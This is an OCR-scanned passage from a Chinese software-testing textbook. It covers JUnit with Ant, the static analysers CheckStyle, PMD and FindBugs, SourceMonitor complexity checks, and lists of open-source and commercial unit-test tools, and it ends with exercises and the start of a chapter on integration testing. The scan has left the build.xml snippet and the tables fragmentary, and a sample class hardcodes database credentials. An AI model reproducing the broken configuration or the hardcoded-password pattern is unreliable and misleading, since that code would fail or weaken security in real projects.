task 由 实现 了 特定 接口 的 对 象 来 运行 。Ant 支持 一 些 可 选 task, 一 个 可 选 task 一 般 需 要 额 


外 的 库 才 能 工作 。 可 选 task 与 Ant 的 内 置 task 分 开 ,单独 打 包 。 

Ant 本 身 就 是 脚本 执行 的 引擎 ,用 于 自动 化 调用 程序 完成 项 目的 编译 .打包 和 测试 等 。 
在 build. xml 中 加 入 JUnit 测试 的 设置 ,可 以 测试 单个 类 ,也 可 以 测试 批量 类 ,设置 代码 参 
考 如 图 5-12 所 示 。 


1 <?xml version="1.0" encoding="UTF-8"?> 
name="Build All Elements" default="runtests" basedir="."> 


<!-- 为 构建 设置 全 局 的 属性 --> 

name="src" location="srce"/> 

name="classes" location="classes"/> 

y name="junit_lib" location="d:\junit3.8.1\junit.jar"/> 


<junit printsummary=" yes" haltonfailure="yes"> 
<class 


nt path="S{classes}" /> 
t path="${junit_lib}" /> 


<!-- 单个 测试 类 --> 
<test name="TestHelloWorld" haltonfailure="yes" /> 


<!-- 批量 调用 测试 类 --> 


es" todir="${classes}"> 


27 </project> 


图 5-12 设置 代码 


5.7.4 CheckStyle/PMD 与 FindBug 的 使 用 


为 提高 代码 的 质量 ,除了 要 提高 逻辑 上 的 控制 以 及 业务 流程 的 理解 外 ,代码 本 身 也 存在 
提高 的 空间 。 检 查 代码 是 否 完全 符合 编码 规范 ,如 果 全 靠 编 程 人 员 自 行 检查 ,那么 无 疑 需 要 
很 大 的 工作 量 。 如 果 使 用 代码 的 静态 检查 工具 (如 CheckStyle/PMD 与 FindBug) , 则 会 极 
大 地 提高 效率 。 

这 几 个 工具 对 于 规范 代码 ,发现 潜在 的 错误 是 很 有 效 的 ,如 果 集 成 到 项 目的 每 日 构建 
(Daily Build) 中 ,通过 不 断 地 检查 与 修改 来 减少 软件 缺陷 可 能 存在 的 地 方 ,效果 更 好 。 因 为 
CheckStyle/PMD 与 FindBug 配置 与 使 用 相对 比较 简单 ,在 此 就 不 再 做 详细 介绍 ,主要 功能 
和 特点 见 表 5-2。 

表 5-2 CheckStyle/PMD 与 FindBug 主要 功能 
T A 日 的 主要 检查 内 容 


基于 Bug Patterns 概念 ,查找 
javabytecode 中 的 潜在 bug。 在 
目前 版 本 中 , 它 不 检查 Java 源 
文件 


主要 检查 bytecode 中 的 bug patterns. {% NullPoint 
空 指针 检查 .没有 合理 有 关闭 资源 ,字符 串 相同 判 
断 错 (用 的 是 一 一 ,用 不 是 equals 方法 ) 等 


FindBug 


玉 具 目 的 主要 检查 内 容 
主要 包括 : 
。 4 try/catch/finally/switch 语句 块 
。 未 使 用 的 局 部 变量 ,参数 和 private 方法 
。 空 if/while 语句 
。 过 于 复杂 的 表达 式 ,如 不 必要 的 if E 
。 复 杂 类 
主要 包括 : 
。 Javadoc 注释 
。 命名 规范 
CheckStyle 检查 Java 源 文件 是 否 与 代码 规 。 多 余 没 用 的 Imports 
EAN 。 Size 度量 ,如 过 长 的 方法 
。 缺少 必要 的 空格 Whitespace 
。 重复 代码 


PMD 检查 Java 源 文件 中 的 潜在 问题 


5.7.5 SourceMonitor 检测 代码 复杂 度 


利用 SourceMonitor 可 以 为 Ct+、C、C# „Java, Delphi, Visual Basic 和 HTML 的 源 代 
码 文件 测试 代码 数量 和 性 能 。 最 终结 果 可 以 描绘 成 图 .输出 打印 。 众 多 的 实践 与 经 验证 明 
如 果 一 个 代码 过 于 复杂 ,那么 这 个 代码 出 现 Bug 的 几率 会 成 几何 级 数 上 升 ,并 且 给 后 期 的 
维护 带 来 很 大 的 困难 ,所 以 用 SourceMonitor 检查 后 一 方面 测试 人 员 可 以 对 代码 自身 复杂 
度 高 ,深度 檬 套 深 的 类 进行 有 针对 性 的 加 强 测试 ,开发 人 员 也 应 该 要 考虑 重 构 , 对 已 有 方法 
进行 合理 的 抽取 提炼 与 分 层 。 

从 网 上 下 载 SourceMonitor 软件 ,安装 非常 简单 。 安 装 以 后 ,就 可 以 从 File 菜单 中 选择 
New Project, 并 选择 项 目 语言 (如 Java) 和 源 代码 所 在 的 目录 (如 E:\myappNsrc)。 然 后 , 单 
击 “ 下 一 步 ” 按 钮 直至 出 现 如 图 5-13 所 示 的 页 面 ,默认 是 所 选择 目录 下 所 有 的 Java 文件 都 
会 检查 ,如 果 不 想 检查 可 以 移动 到 左边 。 


Seafy New Java Checkpoint 


图 5-13 ”确定 被 检查 的 文件 


单 击 OK 按钮 后 ,等 待 一 会 儿 数 据 就 会 生成 , 刚 开 始 Baseline 的 一 行 , 双 击 Baseline 则 
每 个 文件 的 详细 信息 ,都 会 列 出 来 ,如 图 5-14 所 示 。 图 中 可 以 按 字段 排序 ,很 方便 地 定位 哪 
些 类 复杂 度 高 ,哪些 类 深度 高 ,以 及 一 些 其 他 的 衡量 指标 。 


SourceMonitor 


File Edit View Window Help 
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@ Java Checkpoints In Project ‘sre’ 

Checkpoint Name | Created On I Files | Lines | Statements | % Branches [ Max Complexity | Calls | Max Depth | % Comment 


[Baseine OAR 208 17 107 5 S| 

File Name 

[java\com\ustc\dao\ConnectDB. java 

java\com\ustc\frame\LoginAction,java 36 24 12.5 7 4 
java\com\ustc\util\CommonuUtil java 45 19 26.3 5 4 4 
java\com\ustc\dao\StudentDBMarjava 171 117 15.4 5 89 5 
java\com\ustc\security\SecurityUtil java 73 35 14.3 5 15 5 
java\com\ustc\student\AddStudentjava 50 39 77 4 46 4 
java\com\ustc\student\UserFormjava 42 20 5.0 3 10 3 
java\com\ustc\dao\DatabaseConn,java 25 14 71 2 3 3 
java\com\ustc\dao\Testjava 95 48 10,4 2 27 3 
java\com\ustc\student\UserActionjava 16 9 111 2 4 3 
java\com\ustc\common\SchAdminHelperjava 28 16 0.0 1 8 2 
java\com\ustc\frame\LoginFormjava 39 18 0.0 1 0 2 
java\com\ustc\frame\Logoutjava 18 10 0.0 1 4 2 
java\com\ustc\student\studentFormjava 140 60 0.0 1 0 2 
java\com\ustc\student\StudentVO java 126 48 0.0 1 0 2 
java\com\ustc\student\Userjava 38 17 0.0 1 0 2 


图 5-14 各 个 源 文件 的 代码 复杂 度 检查 结果 显示 


选 定 某 个 类 , 右 击 鼠标 选择 View Source File, 可 以 查看 文件 源 代码 ,方便 定位 到 哪个 类 
复杂 度 最 高 (Max Complexity) ,哪个 类 深度 最 深 (Max Depth) ,以 及 可 以 方便 地 定位 到 导致 
复杂 度 最 高 与 深度 最 高 的 方法 在 什么 地 方 , 以 便 有 针对 性 地 测试 。 单 击 View Source File 
后 ,如 图 5-15 所 示 。 上 面 有 两 个 按钮 : 

。 深度 最 高 的 块 To Deepest Block(depth=5) 

。 复杂 度 最 高 的 方法 To Most Complex Method (8) 

这 样 就 能 很 方便 地 定位 到 什么 地 方 导致 深度 高 ,代码 复杂 。 

SourceMonitor 小 巧 简单 ,很 容易 上 手 使 用 ,并 且 很 容易 定位 分 析 需 要 着 重 测试 或 重 构 
的 代码 。 修 改 代 码 完 后 ,能 很 简便 地 看 到 改动 后 的 效果 ,所 以 对 代码 复杂 度 分 析 是 一 个 比较 
好 的 选择 。 一 般 来 说 对 于 大 型 的 项 目 , 每 个 类 的 复杂 度 不 应 大 于 50, 每 个 类 的 深度 不 应 高 
于 6, 如 果 超过 了 这 个 标准 就 可 以 考虑 重 构 这 部 分 代码 ,这 样 对 于 后 期 的 维护 是 有 很 大 帮 
助 的 。 


5.7.6 开源 的 单元 测试 工具 


通过 JUnit 了 解 了 单元 测试 工具 的 基本 构成 和 功能 。 实 际 上 ,JUnit 只 是 开源 的 单元 测试 
工具 中 的 一 个 代表 ,还 有 许多 开源 的 单元 测试 工具 可 以 使 用 。 例 如 ,在 JUnit 基础 之 上 扩展 的 
一 些 工 具 ,如 Boost Cactus\CUTest JellyUnit Junitperf,JunitEE, Pisces 和 QtUnit 等 。 


SourceMonitor 
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多 Java Checkpoints In Project ‘src’ 
Checkpoint Name | Created On | Files | Lines | Statements | % Branches | Max Complexity | Calls | Max Depth | % Comm 
02 1A 2008 17 1,017 536 9.1 8 24 5 


View Source File “E:\myapp\src\java\com\ustc\dao\ConnectDB java’ i 
[ine 1. Column 1 | To Deepest Block (depth = 5) | To Most Complex Method (8) | 


package com.ustc.dao; 
import java.sql.*; 


// 仅 用 于 测试 DB 连接 是 否 正确 的 类 


“ @author Sauthor$ 
* @version $Revision$ 


sd 
| [public class ConnectDB { 
jee 
* DOCUMENT ME! 
. 
~ @param args DOCUMENT ME! 
af 
public static void main(String[] args) { 
Connection conn = null; 
try { 


String userName = "root"; 

String password = "admin"; 

String url = "jdbe:mysql://localhost:3306/mysql"; 
Class. forName ("com.mysql.jdbc.Driver") .newInstance(); 


图 5-15 单个 文件 的 代码 复杂 度 具体 信息 


在 选择 测试 工具 时 ,首先 可 考虑 开源 工具 ,毕竟 开源 工具 投入 成 本 低 ,而 且 有 了 源 代码 ， 
能 结合 自己 特定 的 需求 进行 修改 .扩展 ,具有 良好 的 定制 性 和 适应 性 。 如 果 开 源 工 具 不 能 满 
足 要 求 , 再 考虑 选用 商业 工具 。 

1. C/C++ 语言 单元 测试 工具 

。 适合 各 种 操作 系统 : C Unit Test System,CppTest,CppUnit,CxxTest 

。 Windows 3. 2/Linux/Mac OS X: UnitTest 十 十 

e Windows 3. 2/Solaris/Linux: Splint 

e Mac OS X: ObjcUnit-OCUnit. TestKit 

e UNIX: cutee 

e Linux; GUnit 

e Windows; simplectest 

。 PAS AS: Embedded Unit 

。 其 他 : Cgreen, POSIX Check 


. Java 语言 单元 测试 工具 


TestNG 的 灵感 来 自 JUnit, 消 除了 老 框架 的 大 多 数 限制 ,使 开发 人 员 可 以 编写 更 加 
灵活 的 测试 代码 、 处 理 更 复杂 、 量 更 大 的 测试 。 

PMD(http://pmd. sourceforge. net/) 是 一 款 采用 BSD 协议 发 布 的 Java 程序 代码 检 
查 工 具 , 功 能 强 ,效率 高 ,能 检查 Java 代码 中 是 否 含有 未 使 用 的 变量 .是 否 含有 空 的 
抓 取 块 .是 否 含有 不 必要 的 对 象 . 过 于 复杂 的 表达 式 、 宛 余 代 码 等 。 
CheckStyle,Findbugs Jalopy 都 是 代码 静态 测试 工具 。 

Surrogate Test framework 是 基于 Aspect] 技术 ,适合 于 大 型 复杂 Java 系统 的 单元 
测试 框架 ,并 与 JUnit、MockEJB 和 各 种 支持 模拟 对 象 (mock object) 的 测试 工具 无 
颖 结合 。 

Mock Object 类 工具 : MockObjects、Xdoclet、EasyMock、MockCreator、MockEJB、 
ObicUnit jMock 等 。 例 如 ,EasyMock 通过 简单 的 方法 对 于 指定 的 接口 或 类 生成 
Mock 对 象 的 类 库 ,把 测试 与 测试 边界 以 外 的 对 象 隔离 开 ,利用 对 接口 或 类 的 模拟 来 
辅助 单元 测试 。 

Mockrunner 是 J2EE 环境 中 的 单元 测试 工具 ,包括 JDBC, JMS 测试 框架 ,支持 
Struts、Servlets、EJB、 过 滤器 和 标签 类 。 

Dojo Objective Harness 是 Web 2.0 (Ajax)UI 开发 人 员 用 于 JUnit 的 工具 。 与 已 
有 的 JavaScript 单元 测试 框架 (比如 JSUnit) 不 同 , DOH 不 仅 能 够 自动 处 理 
JavaScript 函数 ,还 可 以 通过 命令 行 界面 和 基于 浏览 器 的 界面 完成 UI 的 单元 测试 。 
jWebUnit (http://jwebunit. sourceforge. net/) 基 于 Java 的 测试 网 络 程序 的 框架 ， 
提供 了 一 套 测 试 见 证 和 程序 导航 标准 。 以 HttpUnit 和 JUnit 单元 测试 框架 为 基 
础 ,提供 了 导航 Web 应 用 程序 的 高 级 API, 并 通过 一 系列 断言 的 组 合 来 验证 链接 导 
航 、 表 单 输入 项 和 提交 、 表 格 内容 以 及 其 他 典型 商务 Web 应 用 程序 特性 的 正确 性 。 
jWebUnit 以 JAR 文件 形式 存在 ,很 容易 和 大 多 数 IDE 集成 起 来 。 

JSFUnit 测试 框架 是 构建 在 HttpUnit 和 Apache Cactus 之 上 ,对 JSF(Java Server 
Faces) 应 用 和 JSF AJAX 组 件 实施 单元 测试 ,在 同一 个 测试 类 里 测试 JSF 产品 的 客 
户 端 和 服务 器 端 。 支 持 RichFaces 和 Ajax4jsf 组 件 , 还 提供 了 JSFTimer 组 件 来 执 
行 JSF 生命 周期 的 性 能 分 析 。 通 过 JSFUnit API, 测试 类 方法 可 以 提交 表单 数据 ， 
并 且 验 证 管理 的 bean 是 否 被 正确 更 新 。 借 助 Shale 测试 框架 (Apache 项 目 ) ,可 以 
对 Servlet AI JSF 组 件 的 mock 对 象 实现 ,也 可 以 借助 Eclipse Web Tools Platform 
(WTP) 和 JXInsight 协助 对 JSF 应 用 进行 更 有 效 的 测试 。 


.其 他 语言 单元 测试 工具 


HtmlUnit 是 JUnit 的 扩展 测试 框架 之 一 ,使 用 例如 table, form 等 标识 符 将 测试 文 
档 作 为 HTML 来 处 理 。 

NUnit 是 类 似 于 JUnit、 针 对 C # 语言 的 单元 测试 工具 。NUnit 利用 了 许多 . NET 
的 特性 ,如 反射 机 制 。NUnitForms 是 NUnit 在 WinFrom 上 的 扩展 。 

TestDriven. Net 就 是 以 插件 的 形式 集成 在 Visual Studio 中 的 单元 测试 工具 ,其 前 
身 是 NUnitAddIn。 个 人 版 可 以 免费 下 载 使 用 ,企业 版 是 商业 化 的 工具 。 


PHPUnit 是 针对 PHP 语言 的 单元 测试 工具 。 

DUnit 是 xUnit 家 族 中 的 一 员 ,用 于 Delphi 的 单元 测试 。 

SQLUnit 是 xUnit 家 族 的 一 员 ,以 xml 的 方式 来 编写 。 用 于 对 存储 过 程 进行 单元 测 
试 的 工具 ,也 可 以 用 于 做 针对 数据 库 数据 、 性 能 的 测试 等 。 

Easyb, 一 个 基于 Groovy 行为 驱动 开发 的 测试 工具 ,为 Java 和 Groovy 测试 。 

RSpec 是 Ruby 语言 的 新 一 代 测 试 工 具 , 跟 Ruby 的 核心 库 Test::Unit 相 比 功能 上 
非常 接近 , RSpec 的 优点 是 可 以 容易 地 编写 领域 特定 语言 (Domain Specific 
Language, DSL) ,其 目标 是 支持 Behaviour-Driven Development (BDD) , BDD 是 一 
种 融合 了 TDDt、Acceptance Test Driven Planning 和 Domain Driven Design 的 一 种 
敏捷 开发 模型 。 

Zentest 也 是 针对 Ruby 语言 的 单元 测试 工具 ,可 以 和 Autotest 一 起 使 用 。 


5.7.7 商业 的 单元 测试 工具 


Java/PHP/Ruby 等 语言 的 单元 测试 工具 以 开源 工具 为 主 , 而 C/C++ 语言 的 单元 测试 
工具 以 商业 工具 为 主 ,例如 Parasoft C++、PR QA + C/C++,CompuWare DevPartner for 
Visual C++BoundsChecker Suite,Panorama C++ 等 。 另 外 ,相对 开源 工具 ,商业 性 工具 在 功 
能 \ 易 用 性 ,稳定 和 技术 支持 等 方面 具有 一 定 的 优势 。 单 元 测试 工具 ,除了 代码 扫描 工具 (如 
Parasoft C++) 之 外 ,还 有 其 他 一 些 工 具 , 如 : 

。 内 存 资 源 泄漏 检查 工具 ,如 CompuWare BounceChecker,IBM Rational PurifyPlus 等 。 

。 代码 覆盖 率 检查 工具 ,如 CompuWare TrueCoverage,IBM Rational PureCoverage， 

TeleLogic Logiscope 等 。 

。 代码 性 能 检查 工具 ,如 Logiscope 和 Macabe 等 。 

针对 Java 语言 的 商业 工具 ,代表 产品 是 DevPartner Studio for Java, Parasoft Jtest, 
Sitraka JProbe Suite 和 PR QA + J 等 。 国 内 较 著 名 的 商业 化 单元 测试 工具 , 则 有 Visual 
Unit( 简 称 VU,http://www. kailesoft. cn/) 是 可 视 化 单元 测试 工具 ,支持 语句 、 条 件 、 分 支 
及 路 径 覆 盖 的 测试 ,使 用 简单 ,基本 不 需要 编写 测试 代码 。VU 还 增强 调试 器 功能 (如 自由 
后 退 、 用 例 切 换 ) ,提高 调试 的 效率 。 

1, DevPartner Studio 专业 版 

具有 很 强 的 功能 ,如 代码 审查 \ 性 能 分 析 、 内 存 分 析 、 安 全 扫描 、 错 误 发 现 和 诊断 ,集成 报 
告 .系统 比较 、 代 码 覆盖 率 分 析 等 。 支 持 目前 主流 的 平台 和 技术 ,如 Visual Studio 2008, 
Visual Studio Team System 2008 , Windows Server 2008,. NET Framework 3.5, Windows 
Presentation Foundation (WPF) ,Language Integrated Query (LINQ) #I ASP. NET AJAX 
Extensions, 

其 中 Jcheck 是 功能 强大 的 、 图 形 化 的 Java 程序 的 线程 和 事件 分 析 工 具 ; DBPartner 是 
数据 库 开 发 及 测试 工具 ,DBPartner Debugger 用 于 交互 式 的 存储 过 程 开 发 .调试 和 优化 。 
而 BoundsChecker 是 实时 错误 检测 工具 ,定位 程序 在 运行 时 期 发 生 的 各 种 错误 ,包括 指针 
变量 的 错误 操作 、 使 用 未 初始 化 的 内 存 和 内 存 /资源 泄漏 错误 。 

2. Parasoft C++Test 


C++ Test 能 够 自动 测试 C/C++ 代码 构造 ( 白 盒 测试 )、 测 试 代码 的 功能 性 ( 黑 盒 测 试 ) 和 


维护 代码 的 完整 性 (回归 测试 ) ,其 单元 级 的 测试 覆盖 率 可 以 达到 100%. C++ Test 的 特 


性 有 : 


3, 


自动 建立 类 /函数 的 测试 驱动 程序 和 桩 调用 ,并 允许 定制 这 些 桩 函数 的 返回 值 或 加 
入 自己 的 桩 函数 。 

单 键 执行 白 盒 测试 的 所 有 步骤 。 

自动 建立 和 执行 类 /函数 的 测试 用 例 。 

提供 快速 加 入 执行 说 明和 功能 性 测试 的 框架 。 

执行 自动 回归 测试 和 组 件 测试 (COM)。 

高 度 可 定制 的 ,例如 ,可 以 改变 测试 用 例 的 生成 参数 ,过 滤 一 定 的 文件 ,类 或 方法 ,在 
任何 层次 上 进行 测试 。 

直接 安装 在 DevStudio 环境 中 ,支持 极限 编程 (XP) 模 式 下 的 代码 测试 。 

Parasoft Jtest 


Jtest 通过 自动 生成 和 执行 全 面 测试 类 代码 及 其 分 支 的 测试 用 例 , 从 而 较 彻 底 地 检查 被 
测 类 的 结构 。Jtest 使 用 一 个 符号 化 的 虚拟 机 执行 类 ,并 搜寻 未 捕获 的 运行 异常 。 对 于 检测 
到 的 每 个 异常 情况 ,Jtest 报告 一 个 错误 ,并 提供 导致 错误 的 栈 轨 迹 和 调用 序列 。 主 要 特 


性 有 : 


4. 


检验 超过 350 个 来 自 Java 专家 的 开发 规范 ,自动 纠正 违反 超过 160 个 编码 规范 的 错 
误 ,并 允许 用 户 通过 图 形 方式 或 自动 创建 方式 来 自 定义 编码 规范 。 

通过 简单 的 点 击 ,自动 实现 代码 基本 错误 的 预防 ,这 包括 单元 测试 和 代码 规范 的 
检查 。 

生成 并 执行 JUnit 单元 测试 用 例 , 对 代码 进行 即时 检查 。 

提供 了 进行 黑 盒 测试 ,模型 测试 和 系统 测试 的 快速 途径 。 

确认 并 阻止 代码 中 不 可 捕获 的 异常 .函数 错误 、 内 存 泄漏 .性 能 问题 ,安全 弱点 的 
问题 。 

监视 测试 的 覆盖 范围 ,自动 执行 回归 测试 。 

支持 大 型 团队 开发 中 测试 设置 和 测试 文件 的 共享 ,支持 DbC 编码 规范 。 

实现 和 IBM Websphere Studio/Eclipse IDE 的 安全 集成 。 


Parasoft . TEST 


Parasoft .TEST 是 专 为 . NET 开发 而 推出 的 单元 测试 工具 ,可 用 于 任何 Microsoft . 
NET 框架 的 语言 ,如 C+ ,VB. NET fil Managed C++. 


使 用 超过 200 条 的 工业 标准 代码 规则 对 所 写 代 码 自动 执行 静态 分 析 , 这 些 规则 有 助 
于 将 . NET 全 面 的 编程 技术 和 领域 知识 应 用 到 代码 中 ,防止 错误 的 出 现 。 

自动 测试 代码 构造 与 功能 。. TEST 智能 特性 ,能 提取 代码 .审查 代码 ,生成 测试 用 
例 ,自动 完成 单元 测试 .TEST 产生 的 单元 测试 可 以 由 用 户 自 定义 。 

通过 自动 衰减 测试 自动 地 维持 代码 完整 性 。 


. IBM Rational PurifyPlus 包含 了 3 种 工具 


PureCoverage 提供 代码 覆盖 率 分 析 , 找 出 未 经 测试 的 程序 代码 ,度量 在 所 有 测试 用 
例 中 多 少 代码 运行 了 ,多 少 代码 没有 运行 。 


。 Quantify 用 来 进行 性 能 分 析 ,识别 应 用 程序 性 能 瓶颈 。 
。 Purify 用 来 进行 内 存 分 析 , 寻 找 应 用 程序 的 内 存 泄漏 和 错误 的 内 存 使 用 ,这 
能 导致 应 用 程序 崩溃 。 

6. JProbe Suite 

包括 4 个 独立 工具 ,Memory Debugger 和 Profiler 称 作 程序 性 能 工具 ,而 Threadalyzer 和 
Coverage 称 作 程 序 校正 (Correctness) 工 具 。 

。 Memory Debugger 可 发 现 因 不 足 参数 管理 和 对 象 的 过 度 分 配 而 引起 的 内 存 泄 漏 。 

。 Profiler 通过 统计 程序 各 部 分 的 运行 时 间 帮 助 找 出 程序 的 性 能 瓶颈 。 

。 Threadalyzer 通过 找 出 程序 中 的 死 锁 和 空 值 以 检验 线程 的 正确 性 。 

。 Coverage 用 来 报告 程序 的 测试 覆盖 率 和 未 测试 覆盖 。 

7. PRQA 单元 测试 工具 

PRQA 提供 代码 测试 工具 有 QA + CQA + CHAI QA + J (http://www. pr-qa. com/ 
programmingresearch/PRODUCTS. html) ,包括 代码 进行 编码 规则 检查 和 静态 分 析 , FR 
像 过 于 复杂 ,不 便于 移植 和 维护 等 各 种 代码 质量 问题 。PRQA 公司 提供 编码 规则 检查 工具 
包 , 包 括 HIGH » INTEGRITY C++,QA.MISRA 和 QA， JSF 十 十 。PRQA 的 静态 测试 
工具 可 与 Vector 公司 的 动态 测试 工具 VectorCAST 很 好 地 集成 。 而 且 , 它 还 能 够 和 
Headway 的 Structure101 进行 很 好 地 集成 ,使 后 者 具有 复杂 C/C++ 代码 的 结构 分 析 以 及 质 
量度 量 能 力 。 


Ve 


有 可 


小 结 


单元 测试 的 对 象 是 程序 系统 中 的 最 小 单元 一 一 模块 或 组 件 上 ,其 目标 不 仅 测试 代码 的 
功能 性 ,还 需 确保 代码 在 结构 上 可 靠 且 健全 。 单 元 测试 是 测试 执行 的 开始 阶段 ,而 且 与 程序 
设计 和 实现 有 非常 紧密 地 关系 ,所 以 单元 测试 一 般 由 编程 人 员 和 测试 人 员 共同 完成 ,编程 人 
员 有 时 起 了 主要 作用 。 单 元 测试 的 主要 任务 是 完成 单元 中 所 有 独立 路 径 .数据 结构 .接口 、 
边界 条 件 、 容 错 性 等 测试 。 

静态 测试 技术 是 静态 分 析 , 是 单元 测试 中 最 重要 的 手段 之 一 ,一 方面 通过 工具 进行 自动 
分 析 , 另 一 方面 可 以 通过 人 工 评审 ,最 常用 的 方法 是 互 为 评审 (Peer Review) ,对 一 些 关键 代 
码 或 新 人 写 的 代码 ,主要 采用 走 查 (Walk Through) 和 会 议 审查 (Inspection) 等 评审 方式 。 

单元 测试 动态 技术 主要 是 白 盒 测试 方法 , 辅 之 以 黑 盒 测试 法 。 白 盒 测试 主要 从 程序 的 
内 部 结构 出 发 设计 测试 用 例 ,检查 程序 模块 或 组 件 的 已 实现 的 功能 与 定义 的 功能 是 否 一 致 
及 编码 中 是 否 存在 错误 。 白 盒 测试 方法 有 逻辑 驱动 法 和 基本 路 径 测试 法 。 

由 于 模块 规模 小 、 功 能 单一 .逻辑 简单 ,测试 人 员 有 可 能 通过 模块 说 明 书 和 源 程 序 ,清楚 
地 了 解 该 模块 的 1/O 条 件 和 模块 的 逻辑 结构 ,采用 结构 测试 ( 白 盒 法 ) 的 用 例 , 尽 可 能 达到 
彻底 测试 ,使 之 对 任何 合理 和 不 合理 的 输入 都 能 鉴别 和 响应 。 高 可 靠 性 的 模块 是 组 成 可 靠 

本 章 还 介绍 了 单元 测试 中 常用 的 测试 工具 ,包括 开源 工具 和 商业 工具 。 重 点 介绍 了 单 
元 测试 框架 JUnit 代码 静态 分 析 工 具 CheckStyle/PMD 与 FindBu 代码 复杂 度 检 测 工 具 


SourceMonitor, 还 介绍 了 如 何 用 JUnit + Ant 构建 自动 测试 等 。 通 过 使 用 这 些 不 同方 面 的 
单元 测试 工具 ,不 仅 更 容易 实施 单元 测试 ,不 断 复 用 测试 脚本 ,减少 单元 测试 的 工作 量 ,而 且 
借助 静态 分 析 、 复 杂 度 衡量 等 ,还 可 以 更 好 地 清楚 缺陷 ,提高 代码 的 质量 。 


1. 为 什么 要 进行 单元 测试 ? 单元 测试 的 主要 任务 有 哪些 ? 

2. 单元 测试 的 对 象 不 可 能 是 一 组 函数 或 多 个 程序 的 组 合 ,为 什么 ? 

3. 单元 测试 一 般 由 开发 人 员 完 成 ,并 采用 白 盒 测试 技术 ,这 样 会 获得 更 高 的 测试 效率 
和 更 彻底 的 测试 , 谈 谈 其 中 的 道理 。 

4. 代码 评审 有 哪些 方法 ? 哪 一 种 方法 比较 有 效 ? 为 什么 ? 

5. 如何 做 好 单元 测试 的 各 个 阶段 的 管理 工作 ? 

6. 动手 写 一 个 类 的 JUnit 单元 测试 方法 ,并 让 其 运行 成 功 ,体验 JUnit 的 使 用 方法 。 

7. CheckStyle/PMD 与 FindBug 各 自 的 主要 功能 是 什么 ? 试 着 在 JavaEE 项 目 中 使 用 
这 三 个 功能 。 

8. SourceMonitor 的 主要 作用 是 什么 ” 试 着 对 一 个 已 有 的 项 目 用 SourceMonitor 进行 
分 析 。 


集成 测试 和 系统 测试 


所 有 功能 基本 独立 的 模块 经 过 严格 的 单元 测试 以 后 , 接 下 来 需要 
进行 集成 测试 (integration test) 。 集 成 测试 是 将 已 分 别 通过 测试 的 单 
元 按 设 计 要 求 组 合 起 来 再 进行 的 测试 ,以 检查 这 些 单元 之 间 的 接口 是 
否 存在 问题 。 

经 过 集成 测试 之 后 ,分 散 开发 的 模块 被 连接 起 来 ,构成 相对 完整 
的 体系 ,其 中 各 模块 间接 口 存在 的 种 种 问题 都 已 基本 消除 ,测试 开始 
进入 到 系统 测试 (system test) 的 阶段 。 系 统 测试 一 般 由 若干 个 不 同 
测试 组 成 ,目的 是 充分 运行 系统 ,验证 整个 系统 是 否 满足 非 功能 性 的 
质量 需求 ,如 ， 

。 是 否 都 能 正常 工作 并 完成 所 赋予 的 任务 ? 

。 在 大 量 用 户 使 用 的 情况 下 ,能 否 经 得 住 考验 ? 

。 系统 出 错 了 ,能 否 很 快 恢复 过 来 或 者 将 故障 转移 出 去 ? 

是 否 能 长 期 地 ,稳定 地 运行 下 去 ? 


6.1 系统 集成 的 模式 与 方法 


在 软件 开发 中 ,经 常会 遇 到 这 样 的 情况 ,单元 测试 时 确认 每 个 模 
块 都 能 单独 工作 ,但 这 些 模块 集成 在 一 起 之 后 会 出 现 有 些 模块 不 能 正 
常 工作 。 这 主要 因为 模块 相互 调用 时 接口 会 引入 许多 新 间 题 。 例 如 ， 
数据 经 过 接口 可 能 丢失 ; 一 个 模块 对 另 一 模块 可 能 造成 不 应 有 的 影 
响 ; 几 个 子 功能 组 合 起 来 不 能 实现 主 功能 ; 误差 不 断 积累 达到 不 可 
接受 的 程度 ; 全 局 数据 结构 出 现 错误 等 。 

6.1.1 集成 测试 前 的 准备 

为 了 更 好 地 做 集成 测试 , 先 介绍 一 下 集成 测试 前 一 般 需要 考虑 的 
一 些 主要 因素 。 

1. 人 员 安排 


集成 测试 既 要 求 参与 的 人 熟悉 单元 的 内 部 细节 ,又 要 求 能 够 从 足 
够 高 的 层次 上 观察 整个 系统 。 一 般 由 有 经 验 的 测试 人 员 和 软件 开发 
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者 共同 完成 集成 测试 的 计划 和 执行 。 

2. 测试 计划 

集成 测试 计划 在 系统 设计 阶段 就 开始 制定 , 随 着 系统 设计 、 开 发 过 程 不 断 细 化 ,最 终 在 
系统 实施 集成 之 前 完成 。 在 这 份 计划 里 主要 包含 的 内 容 有 测试 的 描述 和 范围 .测试 的 预期 
目标 ,测试 环境 、 集 成 次 序 ,测试 用 例 设 计 思想 、 时 间 表 等 。 

3. 测试 内 容 

在 经 过 了 单元 测试 后 ,需要 将 所 有 单元 集成 到 一 起 ,组 成 一 个 完整 的 软件 系统 。 其 重点 
测试 内 容 包 括 各 单元 的 接口 是 否 吻 合 、 代 码 是 否 符合 规定 的 标准 、 界 面 标准 是 否 统一 等 。 

4. 集成 模式 

集成 方式 的 选择 ,要 么 把 所 有 模块 按 设 计 要 求 一 次 全 部 组 装 起 来 后 进行 测试 ,要 么 测试 
是 在 模块 一 个 一 个 地 扩展 下 进行 ,其 测试 的 范围 逐步 增 大 。 

5. 测试 方法 

集成 测试 阶段 是 以 黑 盒 测试 为 主 。 在 自 底 向 上 集成 的 早期 , 白 盒 测试 占 较 大 的 比例 , 随 
着 集成 测试 的 不 断 深 入 ,这 种 比例 在 测试 过 程 中 将 越 来 越 少 ,渐渐 地 , 黑 盒 测试 占据 主导 
地 位 。 


6.1.2 集成 测试 的 模式 


集成 模式 是 软件 集成 测试 中 的 策略 体现 ,其 重要 性 是 明显 的 ,直接 关系 到 测试 的 效 
率 、 结 果 等 ,一 般 要 根据 具体 的 系统 来 决定 采用 哪 种 模式 。 集 成 测试 基本 可 以 概括 为 以 
下 两 种 ， 
e 非 渐 增 式 测 试 模式 : 先 分 别 测试 每 个 模块 ,再 把 所 有 模块 按 设计 要 求 放 在 一 起 结合 
成 所 要 的 程序 ,如 大 棒 模 式 。 
。 渐 增 式 测试 模式 : 把 下 一 个 要 测试 的 模块 同 已 经 测试 好 的 模块 结合 起 来 进行 测试 ， 
测试 完 以 后 再 把 下 一 个 应 该 测试 的 模块 结合 进来 测试 。 
例如 : 某 设计 人 员 习 惯 于 把 所 有 模块 按 设 计 要 求 一 次 全 部 组 装 起 来 ,然后 进行 整体 测 
试 ,这 称 为 非 增 量 式 集成 。 这 种 方法 容易 出 现 混乱 ,因为 测试 时 可 能 发 现 一 大 堆 错误 ,错误 
